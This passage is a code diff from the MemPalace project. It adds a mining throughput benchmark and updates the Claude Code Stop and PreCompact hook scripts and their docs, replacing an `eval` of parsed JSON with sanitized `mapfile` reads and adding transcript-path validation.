<!-- Link Definitions -->
|
||||
[version-shield]: https://img.shields.io/badge/version-3.3.2-4dc9f6?style=flat-square&labelColor=0a0e14
|
||||
[version-shield]: https://img.shields.io/badge/version-3.3.4-4dc9f6?style=flat-square&labelColor=0a0e14
|
||||
[release-link]: https://github.com/MemPalace/mempalace/releases
|
||||
[python-shield]: https://img.shields.io/badge/python-3.9+-7dd8f8?style=flat-square&labelColor=0a0e14&logo=python&logoColor=7dd8f8
|
||||
[python-link]: https://www.python.org/
|
||||
|
||||
@@ -0,0 +1,301 @@
|
||||
"""Mining throughput benchmark: per-chunk vs batched upsert, CPU vs GPU.
|
||||
|
||||
Compares the legacy per-chunk ``add_drawer`` loop against the batched
|
||||
``collection.upsert`` path introduced in the "batched upsert + GPU" PR.
|
||||
Runs both paths on an identical seeded synthetic corpus, reports
|
||||
wall-clock time + drawers/sec, and prints a markdown table suitable
|
||||
for pasting into a PR description.
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
# CPU (whatever onnxruntime is installed — CPU if you don't have
|
||||
# onnxruntime-gpu):
|
||||
uv run python benchmarks/mine_bench.py
|
||||
|
||||
# GPU (NVIDIA):
|
||||
uv venv /tmp/gpu && source /tmp/gpu/bin/activate
|
||||
uv pip install -e '.[gpu]' 'nvidia-cudnn-cu12>=9,<10' \\
|
||||
'nvidia-cuda-runtime-cu12' 'nvidia-cublas-cu12'
|
||||
export LD_LIBRARY_PATH=$(python -c "import nvidia.cudnn, os; \\
|
||||
print(os.path.dirname(nvidia.cudnn.__file__)+'/lib')"):$LD_LIBRARY_PATH
|
||||
MEMPALACE_EMBEDDING_DEVICE=cuda python benchmarks/mine_bench.py
|
||||
|
||||
Flags
|
||||
-----
|
||||
|
||||
--device cpu|cuda|coreml|dml|auto Override MEMPALACE_EMBEDDING_DEVICE
|
||||
--scenarios small,medium,large Which scenarios to run
|
||||
--seed 42 RNG seed for reproducibility
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import hashlib
|
||||
import os
|
||||
import random
|
||||
import shutil
|
||||
import string
|
||||
import sys
|
||||
import tempfile
|
||||
import time
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def build_corpus(dest: Path, n_files: int, paragraphs_per_file: int, seed: int) -> None:
|
||||
"""Generate ``n_files`` markdown files of random words under ``dest``."""
|
||||
rng = random.Random(seed)
|
||||
dest.mkdir(parents=True, exist_ok=True)
|
||||
for i in range(n_files):
|
||||
paragraphs = []
|
||||
for _ in range(paragraphs_per_file):
|
||||
words = [
|
||||
"".join(rng.choices(string.ascii_lowercase, k=rng.randint(3, 10)))
|
||||
for _ in range(12)
|
||||
]
|
||||
paragraphs.append(" ".join(words))
|
||||
(dest / f"doc_{i:03d}.md").write_text("\n\n".join(paragraphs))
|
||||
(dest / "mempalace.yaml").write_text(
|
||||
"wing: bench\n"
|
||||
"rooms:\n"
|
||||
" - name: general\n"
|
||||
" description: all\n"
|
||||
" keywords: [general]\n"
|
||||
)
|
||||
|
||||
|
||||
def _process_file_unbatched(filepath, project_path, collection, wing, rooms, agent, closets_col):
|
||||
"""Legacy per-chunk upsert path (pre-batching).
|
||||
|
||||
Reproduces the exact loop shape the miner used before this PR so the
|
||||
comparison is apples-to-apples; only the upsert granularity differs.
|
||||
"""
|
||||
from mempalace import miner
|
||||
from mempalace.palace import (
|
||||
build_closet_lines,
|
||||
file_already_mined,
|
||||
mine_lock,
|
||||
purge_file_closets,
|
||||
upsert_closet_lines,
|
||||
)
|
||||
|
||||
source_file = str(filepath)
|
||||
if file_already_mined(collection, source_file, check_mtime=True):
|
||||
return 0, "general"
|
||||
try:
|
||||
content = filepath.read_text(encoding="utf-8", errors="replace")
|
||||
except OSError:
|
||||
return 0, "general"
|
||||
content = content.strip()
|
||||
if len(content) < miner.MIN_CHUNK_SIZE:
|
||||
return 0, "general"
|
||||
room = miner.detect_room(filepath, content, rooms, project_path)
|
||||
chunks = miner.chunk_text(content, source_file)
|
||||
|
||||
with mine_lock(source_file):
|
||||
if file_already_mined(collection, source_file, check_mtime=True):
|
||||
return 0, room
|
||||
try:
|
||||
collection.delete(where={"source_file": source_file})
|
||||
except Exception:
|
||||
pass
|
||||
drawers_added = 0
|
||||
for chunk in chunks:
|
||||
miner.add_drawer(
|
||||
collection=collection,
|
||||
wing=wing,
|
||||
room=room,
|
||||
content=chunk["content"],
|
||||
source_file=source_file,
|
||||
chunk_index=chunk["chunk_index"],
|
||||
agent=agent,
|
||||
)
|
||||
drawers_added += 1
|
||||
if closets_col and drawers_added > 0:
|
||||
drawer_ids = [
|
||||
f"drawer_{wing}_{room}_"
|
||||
f"{hashlib.sha256((source_file + str(c['chunk_index'])).encode()).hexdigest()[:24]}"
|
||||
for c in chunks
|
||||
]
|
||||
closet_lines = build_closet_lines(source_file, drawer_ids, content, wing, room)
|
||||
closet_id_base = (
|
||||
f"closet_{wing}_{room}_"
|
||||
f"{hashlib.sha256(source_file.encode()).hexdigest()[:24]}"
|
||||
)
|
||||
closet_meta = {
|
||||
"wing": wing,
|
||||
"room": room,
|
||||
"source_file": source_file,
|
||||
"drawer_count": drawers_added,
|
||||
"filed_at": datetime.now().isoformat(),
|
||||
"normalize_version": miner.NORMALIZE_VERSION,
|
||||
}
|
||||
purge_file_closets(closets_col, source_file)
|
||||
upsert_closet_lines(closets_col, closet_id_base, closet_lines, closet_meta)
|
||||
return drawers_added, room
|
||||
|
||||
|
||||
def mine_once(project_dir: str, palace_path: str, batched: bool) -> tuple[int, float]:
|
||||
"""Mine a project dir with either the batched (new) or per-chunk (old) path."""
|
||||
from mempalace import miner
|
||||
from mempalace.miner import load_config, scan_project
|
||||
from mempalace.palace import get_closets_collection, get_collection
|
||||
|
||||
project_path = Path(project_dir).resolve()
|
||||
config = load_config(project_dir)
|
||||
wing = config["wing"]
|
||||
rooms = config.get("rooms", [])
|
||||
files = scan_project(project_dir)
|
||||
collection = get_collection(palace_path)
|
||||
closets = get_closets_collection(palace_path)
|
||||
|
||||
total = 0
|
||||
t0 = time.perf_counter()
|
||||
for filepath in files:
|
||||
if batched:
|
||||
drawers, _ = miner.process_file(
|
||||
filepath=filepath,
|
||||
project_path=project_path,
|
||||
collection=collection,
|
||||
wing=wing,
|
||||
rooms=rooms,
|
||||
agent="bench",
|
||||
dry_run=False,
|
||||
closets_col=closets,
|
||||
)
|
||||
else:
|
||||
drawers, _ = _process_file_unbatched(
|
||||
filepath, project_path, collection, wing, rooms, "bench", closets
|
||||
)
|
||||
total += drawers
|
||||
return total, time.perf_counter() - t0
|
||||
|
||||
|
||||
def _reset_backend_caches() -> None:
|
||||
"""Drop the in-process client cache so each run pays cold-open cost equally."""
|
||||
from mempalace.palace import _DEFAULT_BACKEND
|
||||
|
||||
_DEFAULT_BACKEND._clients.clear()
|
||||
_DEFAULT_BACKEND._freshness.clear()
|
||||
|
||||
|
||||
def run_scenario(label: str, n_files: int, paragraphs_per_file: int, seed: int) -> dict:
|
||||
"""Run one scenario under both code paths and return a result dict."""
|
||||
print(f"\n=== {label}: {n_files} files × {paragraphs_per_file} paragraphs ===")
|
||||
results = {}
|
||||
for mode in ("unbatched", "batched"):
|
||||
tmp = Path(tempfile.mkdtemp(prefix=f"mp_{mode}_"))
|
||||
try:
|
||||
proj = tmp / "proj"
|
||||
palace = tmp / "palace"
|
||||
build_corpus(proj, n_files, paragraphs_per_file, seed=seed)
|
||||
_reset_backend_caches()
|
||||
drawers, dt = mine_once(str(proj), str(palace), batched=(mode == "batched"))
|
||||
rate = drawers / dt if dt > 0 else 0.0
|
||||
results[mode] = (drawers, dt, rate)
|
||||
print(f" {mode:10} {drawers:5} drawers in {dt:6.2f}s → {rate:7.1f} drawers/sec")
|
||||
finally:
|
||||
shutil.rmtree(tmp, ignore_errors=True)
|
||||
|
||||
_, t_u, r_u = results["unbatched"]
|
||||
d_b, t_b, r_b = results["batched"]
|
||||
speedup = t_u / t_b if t_b > 0 else 0.0
|
||||
print(f" speedup: {speedup:.2f}× ({t_u:.2f}s → {t_b:.2f}s)")
|
||||
return {
|
||||
"label": label,
|
||||
"n_files": n_files,
|
||||
"paragraphs": paragraphs_per_file,
|
||||
"drawers": d_b,
|
||||
"unbatched_time": t_u,
|
||||
"unbatched_rate": r_u,
|
||||
"batched_time": t_b,
|
||||
"batched_rate": r_b,
|
||||
"speedup": speedup,
|
||||
}
|
||||
|
||||
|
||||
SCENARIOS = {
|
||||
"small": ("Small files (~50 paragraphs)", 10, 50),
|
||||
"medium": ("Medium files (~200 paragraphs)", 20, 200),
|
||||
"large": ("Large files (~500 paragraphs)", 10, 500),
|
||||
}
|
||||
|
||||
|
||||
def _env_summary(device_label: str) -> list[str]:
|
||||
"""Short hardware + version lines included with the printed table."""
|
||||
import platform
|
||||
|
||||
try:
|
||||
import chromadb
|
||||
|
||||
chromadb_v = chromadb.__version__
|
||||
except Exception:
|
||||
chromadb_v = "?"
|
||||
try:
|
||||
import onnxruntime as ort
|
||||
|
||||
ort_v = ort.__version__
|
||||
providers = ",".join(p.replace("ExecutionProvider", "") for p in ort.get_available_providers())
|
||||
except Exception:
|
||||
ort_v = "?"
|
||||
providers = "?"
|
||||
|
||||
return [
|
||||
f"device: **{device_label}** (onnxruntime {ort_v}, providers={providers})",
|
||||
f"chromadb {chromadb_v} · python {sys.version.split()[0]} · {platform.platform()}",
|
||||
]
|
||||
|
||||
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser(description=__doc__.split("\n\n", 1)[0])
|
||||
parser.add_argument(
|
||||
"--device",
|
||||
default=None,
|
||||
help="Override MEMPALACE_EMBEDDING_DEVICE (cpu|cuda|coreml|dml|auto)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--scenarios",
|
||||
default="small,medium,large",
|
||||
help="Comma-separated scenario names (default: all)",
|
||||
)
|
||||
parser.add_argument("--seed", type=int, default=42)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.device:
|
||||
os.environ["MEMPALACE_EMBEDDING_DEVICE"] = args.device
|
||||
|
||||
from mempalace.embedding import describe_device, get_embedding_function
|
||||
|
||||
device_label = describe_device()
|
||||
print(f"Warming up ONNX model on device={device_label}...")
|
||||
ef = get_embedding_function()
|
||||
ef(["warmup sentence one", "warmup sentence two"])
|
||||
|
||||
picked = [s.strip() for s in args.scenarios.split(",") if s.strip()]
|
||||
results = []
|
||||
for key in picked:
|
||||
if key not in SCENARIOS:
|
||||
print(f"Unknown scenario {key!r}; choices: {sorted(SCENARIOS)}", file=sys.stderr)
|
||||
sys.exit(2)
|
||||
label, n_files, paras = SCENARIOS[key]
|
||||
results.append(run_scenario(label, n_files, paras, args.seed))
|
||||
|
||||
print("\n\n## Mining benchmark\n")
|
||||
for line in _env_summary(device_label):
|
||||
print(line + " ")
|
||||
print()
|
||||
print("| Scenario | Files | Drawers | Per-chunk (old) | Batched (new) | Speedup |")
|
||||
print("| --- | ---: | ---: | ---: | ---: | ---: |")
|
||||
for r in results:
|
||||
print(
|
||||
f"| {r['label']} | {r['n_files']} | {r['drawers']} | "
|
||||
f"{r['unbatched_time']:.2f}s · {r['unbatched_rate']:.0f} drw/s | "
|
||||
f"{r['batched_time']:.2f}s · {r['batched_rate']:.0f} drw/s | "
|
||||
f"**{r['speedup']:.2f}×** |"
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -7,22 +7,60 @@ MemPalace hooks act as an "Auto-Save" feature. They help your AI keep a permanen
|
||||
* **PreCompact Hook** (`mempal_precompact_hook.sh`): Saves your context right before the AI's memory window fills up.
|
||||
|
||||
### 2. Setup for Claude Code
|
||||
Add this to your configuration file to enable automatic background saving:
|
||||
Add this to `~/.claude/settings.local.json` (global) or `.claude/settings.local.json` (project-scoped) to enable automatic background saving:
|
||||
|
||||
```json
|
||||
{
|
||||
"hooks": {
|
||||
"Stop": [
|
||||
{
|
||||
"matcher": "",
|
||||
"hooks": [{"type": "command", "command": "./hooks/mempal_save_hook.sh"}]
|
||||
"matcher": "*",
|
||||
"hooks": [{
|
||||
"type": "command",
|
||||
"command": "/absolute/path/to/hooks/mempal_save_hook.sh",
|
||||
"timeout": 30
|
||||
}]
|
||||
}
|
||||
],
|
||||
"PreCompact": [
|
||||
{
|
||||
"matcher": "",
|
||||
"hooks": [{"type": "command", "command": "./hooks/mempal_precompact_hook.sh"}]
|
||||
"hooks": [{
|
||||
"type": "command",
|
||||
"command": "/absolute/path/to/hooks/mempal_precompact_hook.sh",
|
||||
"timeout": 30
|
||||
}]
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Make the hooks executable:
|
||||
```bash
|
||||
chmod +x /absolute/path/to/hooks/mempal_save_hook.sh
|
||||
chmod +x /absolute/path/to/hooks/mempal_precompact_hook.sh
|
||||
```
|
||||
|
||||
**Note:** Replace `/absolute/path/to/hooks/` with the actual path where you cloned the MemPalace repository (e.g., `~/projects/mempalace/hooks/`).
|
||||
|
||||
### 3. What changed (v3.1.0+)
|
||||
|
||||
Both hooks now have **two-layer capture**:
|
||||
|
||||
1. **Auto-mine**: Before blocking the AI, the hook runs the normalizer on the JSONL transcript and upserts chunks directly into the palace. This captures raw tool output (Bash results, search findings, build errors) that the AI would otherwise summarize away.
|
||||
|
||||
2. **Updated reason messages**: The block reason now explicitly tells the AI to save tool output verbatim — not just topics and decisions.
|
||||
|
||||
### 4. Backfill past conversations (one-time)
|
||||
|
||||
The hooks capture conversations going forward, but you probably have months of past sessions. Run this once to mine them all:
|
||||
|
||||
```bash
|
||||
mempalace mine ~/.claude/projects/ --mode convos
|
||||
```
|
||||
|
||||
### 5. Configuration
|
||||
|
||||
- **`SAVE_INTERVAL=15`** — How many human messages between saves
|
||||
- **`MEMPALACE_PYTHON`** — Python interpreter with mempalace + chromadb. Auto-detects: env var → repo venv → system python3
|
||||
- **`MEMPAL_DIR`** — Optional directory for auto-ingest via `mempalace mine`
|
||||
|
||||
@@ -5,13 +5,13 @@
|
||||
Run the MCP server:
|
||||
|
||||
```bash
|
||||
python -m mempalace.mcp_server
|
||||
mempalace-mcp
|
||||
```
|
||||
|
||||
Or add it to Claude Code:
|
||||
|
||||
```bash
|
||||
claude mcp add mempalace -- python -m mempalace.mcp_server
|
||||
claude mcp add mempalace -- mempalace-mcp
|
||||
```
|
||||
|
||||
## Available Tools
|
||||
|
||||
+54
-15
@@ -6,10 +6,10 @@ These hook scripts make MemPalace save automatically. No manual "save" commands
|
||||
|
||||
| Hook | When It Fires | What Happens |
|
||||
|------|--------------|-------------|
|
||||
| **Save Hook** | Every 15 human messages | Blocks the AI, tells it to save key topics/decisions/quotes to the palace |
|
||||
| **PreCompact Hook** | Right before context compaction | Emergency save — forces the AI to save EVERYTHING before losing context |
|
||||
| **Save Hook** | Every 15 human messages | Auto-mines transcript (tool output included), then blocks the AI to save topics/decisions/quotes |
|
||||
| **PreCompact Hook** | Right before context compaction | Auto-mines transcript, then emergency save — forces the AI to save EVERYTHING before losing context |
|
||||
|
||||
The AI does the actual filing — it knows the conversation context, so it classifies memories into the right wings/halls/closets. The hooks just tell it WHEN to save.
|
||||
**Two-layer capture:** Hooks auto-mine the JSONL transcript directly into the palace (capturing raw tool output — Bash results, search findings, build errors). They also block the AI with a reason message telling it to save verbatim tool output and key context. Belt and suspenders — tool output gets stored even if the AI summarizes instead of quoting.
|
||||
|
||||
## Install — Claude Code
|
||||
|
||||
@@ -67,7 +67,8 @@ Edit `mempal_save_hook.sh` to change:
|
||||
|
||||
- **`SAVE_INTERVAL=15`** — How many human messages between saves. Lower = more frequent saves, higher = less interruption.
|
||||
- **`STATE_DIR`** — Where hook state is stored (defaults to `~/.mempalace/hook_state/`)
|
||||
- **`MEMPAL_DIR`** — Optional. Set to a conversations directory to auto-run `mempalace mine <dir>` on each save trigger. Leave blank (default) to let the AI handle saving via the block reason message.
|
||||
- **`MEMPAL_DIR`** — Optional **project directory** (code, notes, docs) to also mine on each save trigger, with `--mode projects`. The hook ALWAYS mines the active conversation transcript automatically with `--mode convos` — `MEMPAL_DIR` is purely additive, never an override. Leave blank if you don't want to ingest project files.
|
||||
- **`MEMPALACE_PYTHON`** — Optional env var. Python interpreter with mempalace + chromadb installed. Auto-detects: `MEMPALACE_PYTHON` env var → repo `venv/bin/python3` → system `python3`. Set this if your venv is in a non-standard location.
|
||||
|
||||
### mempalace CLI
|
||||
|
||||
@@ -91,15 +92,19 @@ User sends message → AI responds → Claude Code fires Stop hook
|
||||
↓
|
||||
┌─── < 15 since last save ──→ echo "{}" (let AI stop)
|
||||
│
|
||||
└─── ≥ 15 since last save ──→ {"decision": "block", "reason": "save..."}
|
||||
↓
|
||||
AI saves to palace
|
||||
↓
|
||||
AI tries to stop again
|
||||
↓
|
||||
stop_hook_active = true
|
||||
↓
|
||||
Hook sees flag → echo "{}" (let it through)
|
||||
└─── ≥ 15 since last save
|
||||
↓
|
||||
Auto-mine transcript → palace (tool output captured)
|
||||
↓
|
||||
{"decision": "block", "reason": "save tool output verbatim..."}
|
||||
↓
|
||||
AI saves to palace (topics, decisions, quotes)
|
||||
↓
|
||||
AI tries to stop again
|
||||
↓
|
||||
stop_hook_active = true
|
||||
↓
|
||||
Hook sees flag → echo "{}" (let it through)
|
||||
```
|
||||
|
||||
The `stop_hook_active` flag prevents infinite loops: block once → AI saves → tries to stop → flag is true → we let it through.
|
||||
@@ -109,14 +114,18 @@ The `stop_hook_active` flag prevents infinite loops: block once → AI saves →
|
||||
```
|
||||
Context window getting full → Claude Code fires PreCompact
|
||||
↓
|
||||
Hook ALWAYS blocks
|
||||
Find transcript (from input or session_id lookup)
|
||||
↓
|
||||
Auto-mine transcript → palace (tool output captured)
|
||||
↓
|
||||
{"decision": "block", "reason": "save tool output verbatim..."}
|
||||
↓
|
||||
AI saves everything
|
||||
↓
|
||||
Compaction proceeds
|
||||
```
|
||||
|
||||
No counting needed — compaction always warrants a save.
|
||||
No counting needed — compaction always warrants a save. The auto-mine captures raw tool output before the AI gets a chance to summarize it away.
|
||||
|
||||
## Debugging
|
||||
|
||||
@@ -137,6 +146,36 @@ Example output:
|
||||
|
||||
**Hooks require session restart after install.** Claude Code loads hooks from `settings.json` at session start only. If you run `mempalace init` or manually edit hook config mid-session, the hooks won't fire until you restart Claude Code. This is a Claude Code limitation.
|
||||
|
||||
**`MEMPAL_PYTHON` override for the hook's internal Python calls.** The save hook parses its JSON input and counts transcript messages with `python3`. When the harness is launched from a GUI on macOS — `open -a`, Spotlight, the dock — its `PATH` is the minimal `/usr/bin:/bin:/usr/sbin:/sbin` inherited from `launchd`, not your shell PATH. If `python3` isn't on that PATH, those internal calls fail and the hook can't count exchanges.
|
||||
|
||||
Point the hook at any Python 3 interpreter to fix it:
|
||||
|
||||
```bash
|
||||
export MEMPAL_PYTHON="/usr/bin/python3" # system Python is fine
|
||||
export MEMPAL_PYTHON="$HOME/.venvs/mempalace/bin/python" # or your venv
|
||||
```
|
||||
|
||||
Resolution priority: `$MEMPAL_PYTHON` (if set and executable) → `$(command -v python3)` → bare `python3`. The interpreter only needs `json` and `sys` from the standard library — `mempalace` itself does not need to be installed in it.
|
||||
|
||||
Note: the `mempalace mine` auto-ingest runs via the `mempalace` CLI, so that command also needs to be on the hook's `PATH`. Installing with `pipx install mempalace` or `uv tool install mempalace` puts it on a stable global location; otherwise extend the hook environment's `PATH` to include your venv's `bin/`.
|
||||
|
||||
## Backfill Past Conversations
|
||||
|
||||
The hooks only capture conversations going forward. To mine **past** Claude Code sessions into your palace, run a one-time backfill:
|
||||
|
||||
```bash
|
||||
mempalace mine ~/.claude/projects/ --mode convos
|
||||
```
|
||||
|
||||
This scans all JSONL transcripts from previous sessions and files them into the `conversations` wing. On a typical developer machine with months of history, this can yield 50K–200K drawers.
|
||||
|
||||
For Codex CLI sessions:
|
||||
```bash
|
||||
mempalace mine ~/.codex/sessions/ --mode convos
|
||||
```
|
||||
|
||||
This only needs to be done once — after that, the hooks auto-mine each session as you go.
|
||||
|
||||
## Cost
|
||||
|
||||
**Zero extra tokens.** The hooks notify the AI that saves happened in the background — the AI doesn't need to write anything in the chat. All filing is handled automatically. Previous versions asked the AI to write diary entries and drawer content in the chat window, which cost ~$1/session in retransmitted tokens.
|
||||
|
||||
@@ -41,31 +41,81 @@
|
||||
# to save everything. After the AI saves, compaction proceeds normally.
|
||||
#
|
||||
# === MEMPALACE CLI ===
|
||||
# This repo uses: mempalace mine <dir>
|
||||
# or: mempalace mine <dir> --mode convos
|
||||
# Set MEMPAL_DIR below if you want the hook to auto-ingest before compaction.
|
||||
# Leave blank to rely on the AI's own save instructions.
|
||||
# The hook ALWAYS mines the active conversation transcript synchronously
|
||||
# before compaction (via `mempalace mine <transcript-dir> --mode convos`).
|
||||
# MEMPAL_DIR is an *additional*, optional target for project files — it
|
||||
# does not replace the conversation mine.
|
||||
|
||||
STATE_DIR="$HOME/.mempalace/hook_state"
|
||||
mkdir -p "$STATE_DIR"
|
||||
|
||||
# Optional: set to the directory you want auto-ingested before compaction.
|
||||
# Example: MEMPAL_DIR="$HOME/conversations"
|
||||
# Leave empty to skip auto-ingest (AI handles saving via the block reason).
|
||||
# Optional: project directory (code / notes / docs) to also mine before
|
||||
# compaction. Mined with `--mode projects`. The conversation transcript
|
||||
# is always mined regardless — this is purely additive.
|
||||
# Example: MEMPAL_DIR="$HOME/projects/my_app"
|
||||
MEMPAL_DIR=""
|
||||
|
||||
# Resolve the Python interpreter. Same contract as mempal_save_hook.sh:
|
||||
# MEMPAL_PYTHON (explicit override) → $(command -v python3) → bare python3.
|
||||
MEMPAL_PYTHON_BIN="${MEMPAL_PYTHON:-}"
|
||||
if [ -z "$MEMPAL_PYTHON_BIN" ] || [ ! -x "$MEMPAL_PYTHON_BIN" ]; then
|
||||
MEMPAL_PYTHON_BIN="$(command -v python3 2>/dev/null || echo python3)"
|
||||
fi
|
||||
|
||||
# Read JSON input from stdin
|
||||
INPUT=$(cat)
|
||||
|
||||
SESSION_ID=$(echo "$INPUT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('session_id','unknown'))" 2>/dev/null)
|
||||
# Parse session_id and transcript_path in one call. Sanitize both, then
|
||||
# read sanitized values from one-per-line stdout into shell variables —
|
||||
# avoids ``eval`` on generated code (#1231 review). Same contract as
|
||||
# mempal_save_hook.sh.
|
||||
mapfile -t _mempal_parsed < <(echo "$INPUT" | "$MEMPAL_PYTHON_BIN" -c "
|
||||
import sys, json, re
|
||||
data = json.load(sys.stdin)
|
||||
sid = data.get('session_id', 'unknown')
|
||||
tp = data.get('transcript_path', '')
|
||||
safe = lambda s: re.sub(r'[^a-zA-Z0-9_/.\-~]', '', str(s))
|
||||
print(safe(sid))
|
||||
print(safe(tp))
|
||||
" 2>/dev/null)
|
||||
SESSION_ID="${_mempal_parsed[0]:-unknown}"
|
||||
TRANSCRIPT_PATH="${_mempal_parsed[1]:-}"
|
||||
|
||||
# Expand ~ in path
|
||||
TRANSCRIPT_PATH="${TRANSCRIPT_PATH/#\~/$HOME}"
|
||||
|
||||
# Validate that TRANSCRIPT_PATH looks like a transcript file. Mirrors
|
||||
# mempalace.hooks_cli._validate_transcript_path so the shell hook
|
||||
# rejects the same shapes the Python hook rejects (#1231 review).
|
||||
is_valid_transcript_path() {
|
||||
local path="$1"
|
||||
[ -n "$path" ] || return 1
|
||||
case "$path" in
|
||||
*.json|*.jsonl) ;;
|
||||
*) return 1 ;;
|
||||
esac
|
||||
case "/$path/" in
|
||||
*/../*) return 1 ;;
|
||||
esac
|
||||
return 0
|
||||
}
|
||||
|
||||
echo "[$(date '+%H:%M:%S')] PRE-COMPACT triggered for session $SESSION_ID" >> "$STATE_DIR/hook.log"
|
||||
|
||||
# Optional: run mempalace ingest synchronously so memories land before compaction
|
||||
# Run ingest synchronously so memories land before compaction. Two
|
||||
# independent targets — both run if both are set:
|
||||
# 1. TRANSCRIPT_PATH (from Claude Code) → parent dir, --mode convos
|
||||
# 2. MEMPAL_DIR → --mode projects
|
||||
if is_valid_transcript_path "$TRANSCRIPT_PATH" && [ -f "$TRANSCRIPT_PATH" ]; then
|
||||
mempalace mine "$(dirname "$TRANSCRIPT_PATH")" --mode convos \
|
||||
>> "$STATE_DIR/hook.log" 2>&1
|
||||
elif [ -n "$TRANSCRIPT_PATH" ]; then
|
||||
echo "[$(date '+%H:%M:%S')] Skipping invalid transcript path: $TRANSCRIPT_PATH" \
|
||||
>> "$STATE_DIR/hook.log"
|
||||
fi
|
||||
if [ -n "$MEMPAL_DIR" ] && [ -d "$MEMPAL_DIR" ]; then
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_DIR="$(dirname "$SCRIPT_DIR")"
|
||||
python3 -m mempalace mine "$MEMPAL_DIR" >> "$STATE_DIR/hook.log" 2>&1
|
||||
mempalace mine "$MEMPAL_DIR" --mode projects \
|
||||
>> "$STATE_DIR/hook.log" 2>&1
|
||||
fi
|
||||
|
||||
# Silent: return empty JSON to not block. "decision": "allow" is invalid —
|
||||
|
||||
+71
-26
@@ -45,10 +45,10 @@
|
||||
# stop_hook_active=true so we let it through. No infinite loop.
|
||||
#
|
||||
# === MEMPALACE CLI ===
|
||||
# This repo uses: mempalace mine <dir>
|
||||
# or: mempalace mine <dir> --mode convos
|
||||
# Set MEMPAL_DIR below if you want the hook to auto-ingest after blocking.
|
||||
# Leave blank to rely on the AI's own save instructions.
|
||||
# The hook ALWAYS mines the active conversation transcript automatically
|
||||
# (via `mempalace mine <transcript-dir> --mode convos`). MEMPAL_DIR is an
|
||||
# *additional*, optional target for project files — it does not replace
|
||||
# the conversation mine.
|
||||
#
|
||||
# === CONFIGURATION ===
|
||||
|
||||
@@ -56,18 +56,38 @@ SAVE_INTERVAL=15 # Save every N human messages (adjust to taste)
|
||||
STATE_DIR="$HOME/.mempalace/hook_state"
|
||||
mkdir -p "$STATE_DIR"
|
||||
|
||||
# Optional: set to the directory you want auto-ingested on each save trigger.
|
||||
# Example: MEMPAL_DIR="$HOME/conversations"
|
||||
# Leave empty to skip auto-ingest (AI handles saving via the block reason).
|
||||
# Optional: project directory (code / notes / docs) to also mine each
|
||||
# save trigger. Mined with `--mode projects`. The conversation transcript
|
||||
# is always mined regardless — this is purely additive.
|
||||
# Example: MEMPAL_DIR="$HOME/projects/my_app"
|
||||
MEMPAL_DIR=""
|
||||
|
||||
# Resolve the Python interpreter the hook should use.
|
||||
#
|
||||
# Why this is nontrivial: GUI-launched Claude Code on macOS (or any harness
|
||||
# that doesn't inherit the user's shell PATH) may find a `python3` on PATH
|
||||
# that lacks mempalace — e.g. /usr/bin/python3 while the user installed
|
||||
# mempalace into a venv or pyenv. Users in that situation can point the
|
||||
# hook at the right interpreter by exporting MEMPAL_PYTHON.
|
||||
#
|
||||
# Resolution order (first hit wins):
|
||||
# 1. $MEMPAL_PYTHON — explicit user override (absolute path)
|
||||
# 2. $(command -v python3) — first python3 on the hook's PATH
|
||||
# 3. bare "python3" — last-resort fallback (hope the PATH has it)
|
||||
MEMPAL_PYTHON_BIN="${MEMPAL_PYTHON:-}"
|
||||
if [ -z "$MEMPAL_PYTHON_BIN" ] || [ ! -x "$MEMPAL_PYTHON_BIN" ]; then
|
||||
MEMPAL_PYTHON_BIN="$(command -v python3 2>/dev/null || echo python3)"
|
||||
fi
|
||||
|
||||
# Read JSON input from stdin
|
||||
INPUT=$(cat)
|
||||
|
||||
# Parse all fields in a single Python call (3x faster than separate invocations)
|
||||
# SECURITY: All values are sanitized before being interpolated into shell assignments.
|
||||
# stop_hook_active is coerced to a strict True/False to prevent command injection via eval.
|
||||
eval $(echo "$INPUT" | python3 -c "
|
||||
# without invoking ``eval`` on generated code: Python prints one sanitized
|
||||
# value per line, the shell reads them via ``mapfile`` and does plain
|
||||
# variable assignment — same data, smaller blast radius if the sanitizer
|
||||
# is ever bypassed (#1231 review).
|
||||
mapfile -t _mempal_parsed < <(echo "$INPUT" | "$MEMPAL_PYTHON_BIN" -c "
|
||||
import sys, json, re
|
||||
data = json.load(sys.stdin)
|
||||
sid = data.get('session_id', 'unknown')
|
||||
@@ -77,14 +97,36 @@ tp = data.get('transcript_path', '')
|
||||
safe = lambda s: re.sub(r'[^a-zA-Z0-9_/.\-~]', '', str(s))
|
||||
# Coerce stop_hook_active to strict boolean string
|
||||
sha = 'True' if sha_raw is True or str(sha_raw).lower() in ('true', '1', 'yes') else 'False'
|
||||
print(f'SESSION_ID=\"{safe(sid)}\"')
|
||||
print(f'STOP_HOOK_ACTIVE=\"{sha}\"')
|
||||
print(f'TRANSCRIPT_PATH=\"{safe(tp)}\"')
|
||||
print(safe(sid))
|
||||
print(sha)
|
||||
print(safe(tp))
|
||||
" 2>/dev/null)
|
||||
SESSION_ID="${_mempal_parsed[0]:-unknown}"
|
||||
STOP_HOOK_ACTIVE="${_mempal_parsed[1]:-False}"
|
||||
TRANSCRIPT_PATH="${_mempal_parsed[2]:-}"
|
||||
|
||||
# Expand ~ in path
|
||||
TRANSCRIPT_PATH="${TRANSCRIPT_PATH/#\~/$HOME}"
|
||||
|
||||
# Validate that TRANSCRIPT_PATH looks like a transcript file:
|
||||
# - non-empty
|
||||
# - .jsonl or .json suffix
|
||||
# - no traversal segments (.. components)
|
||||
# Mirrors mempalace.hooks_cli._validate_transcript_path so the shell hook
|
||||
# rejects the same shapes the Python hook rejects (#1231 review).
|
||||
is_valid_transcript_path() {
|
||||
local path="$1"
|
||||
[ -n "$path" ] || return 1
|
||||
case "$path" in
|
||||
*.json|*.jsonl) ;;
|
||||
*) return 1 ;;
|
||||
esac
|
||||
case "/$path/" in
|
